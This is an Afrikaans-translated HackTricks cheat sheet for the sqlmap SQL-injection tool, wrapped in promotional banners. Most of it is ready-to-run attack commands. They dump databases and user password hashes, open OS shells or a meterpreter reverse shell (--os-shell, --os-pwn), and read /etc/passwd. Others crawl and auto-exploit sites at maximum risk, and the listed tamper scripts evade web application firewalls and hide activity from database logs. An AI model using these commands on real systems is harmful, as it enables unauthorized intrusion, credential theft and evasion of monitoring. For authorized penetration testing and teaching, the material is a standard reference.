hacktricks/pentesting-web/sql-injection/sqlmap/README.md

15 KiB

SQLMap - Spiekbrief

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te graaf, skulpe te laat pop, en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Basiese argumente vir SQLmap

Generies

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Kry Inligting

Intern

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB data

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Inspruitingsplek

Vanaf Burp/ZAP vaslegging

Vasvang die versoek en skep 'n req.txt-lêer

sqlmap -r req.txt --current-user

GET Aanvraag Inspruiting

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Aanvraag Inspruiting

sqlmap -u "http://example.com" --data "username=*&password=*"

Inspruitings in Koppe en ander HTTP Metodes

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Dui aan string wanneer inspuiting suksesvol is

--string="string_showed_when_TRUE"

Eval

Sqlmap maak die gebruik van -e of --eval moontlik om elke lading te verwerk voordat dit met 'n bietjie Python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die lading op aangepaste maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld word die flask koekie sessie deur flask onderteken met die bekende geheim voordat dit gestuur word:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Dopshell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Lees Lêer

--file-read=/etc/passwd

Kruip 'n webwerf met SQLmap en outomaties uitbuit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Tweede Orde Inspruiting

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lees hierdie posoor hoe om eenvoudige en komplekse tweede-orde inspuitings met sqlmap uit te voer.

Aanpassing van Insigting

Stel 'n agtervoegsel

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Voorvoegsel

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help om booleaanse inspuiting te vind

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Verander

Onthou dat jy jou eie veranderings in Python kan skep en dit is baie maklik. Jy kan 'n veranderingsvoorbeeld vind op die Tweede Orde Inspruiting bladsy hier.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Beskrywing
apostrophemask.py Vervang apostroofkarakter met sy UTF-8 volle breedte teenhanger
apostrophenullencode.py Vervang apostroofkarakter met sy onwettige dubbele unicode teenhanger
appendnullbyte.py Voeg gekodeerde NULL byte karakter aan die einde van die lading toe
base64encode.py Base64 alle karakters in 'n gegewe lading
between.py Vervang groter as operateur ('>') met 'NIET TUSSEN 0 EN #'
bluecoat.py Vervang spatiekarakter na SQL-stelling met 'n geldige lukrake leë karakter. Vervolgens vervang karakter = met LIKE operateur
chardoubleencode.py Verdubbel url-kodeer alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie)
commalesslimit.py Vervang instansies soos 'LIMIT M, N' met 'LIMIT N OFFSET M'
commalessmid.py Vervang instansies soos 'MID(A, B, C)' met 'MID(A VANAF B VIR C)'
concat2concatws.py Vervang instansies soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-kodeer alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie)
charunicodeencode.py Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie). "%u0022"
charunicodeescape.py Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie). "\u0022"
equaltolike.py Vervang alle voorkomste van operateur gelyk ('=') met operateur 'LIKE'
escapequotes.py Slas ontsnap aan aanhalingstekens (' en ")
greatest.py Vervang groter as operateur ('>') met 'GREATEST' teenhanger
halfversionedmorekeywords.py Voeg 'n versie MySQL kommentaar voor elke sleutelwoord by
ifnull2ifisnull.py Vervang instansies soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Omhels volledige navraag met 'n versie kommentaar
modsecurityzeroversioned.py Omhels volledige navraag met nul-geversioneerde kommentaar
multiplespaces.py Voeg meervoudige spasies rondom SQL sleutelwoorde by
nonrecursivereplacement.py Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings wat geskik is vir vervanging (bv. .replace("SELECT", ""))
percentage.py Voeg 'n persentasieteken ('%') voor elke karakter by
overlongutf8.py Omskep alle karakters in 'n gegewe lading (nie verwerking van reeds gekodeerde karakters nie)
randomcase.py Vervang elke sleutelwoordkarakter met 'n lukrake gevalwaarde
randomcomments.py Voeg lukrake opmerkings by SQL sleutelwoorde
securesphere.py Voeg 'n spesiaal saamgestelde string by
sp_password.py Voeg 'sp_password' by die einde van die lading vir outomatiese verduistering van DBMS-logboeke
space2comment.py Vervang spatiekarakter (' ') met opmerkings
space2dash.py Vervang spatiekarakter (' ') met 'n streep opmerking ('--') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n')
space2hash.py Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n')
space2morehash.py Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n lukrake string en 'n nuwe lyn ('\n')
space2mssqlblank.py Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters
space2mssqlhash.py Vervang spatiekarakter (' ') met 'n pondkarakter ('#') gevolg deur 'n nuwe lyn ('\n')
space2mysqlblank.py Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters
space2mysqldash.py Vervang spatiekarakter (' ') met 'n streep opmerking ('--') gevolg deur 'n nuwe lyn ('\n')
space2plus.py Vervang spatiekarakter (' ') met plus ('+')
space2randomblank.py Vervang spatiekarakter (' ') met 'n lukrake leë karakter van 'n geldige stel alternatiewe karakters
symboliclogical.py Vervang AND en OF logiese operateurs met hul simboliese teenhangers (&& en
unionalltounion.py Vervang UNION ALL SELECT met UNION SELECT
unmagicquotes.py Vervang aanhalingstekenkarakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk)
uppercase.py Vervang elke sleutelwoordkarakter met hoofletters 'INSERT'
varnish.py Voeg 'n HTTP-kop 'X-originating-IP' by
versionedkeywords.py Sluit elke nie-funksie sleutelwoord in met 'n geversioneerde MySQL kommentaar
versionedmorekeywords.py Sluit elke sleutelwoord in met 'n geversioneerde MySQL kommentaar
xforwardedfor.py Voeg 'n vals HTTP-kop 'X-Forwarded-For' by

Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & kenmerke wat vanaf rekognisering tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, doppe te klap, en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: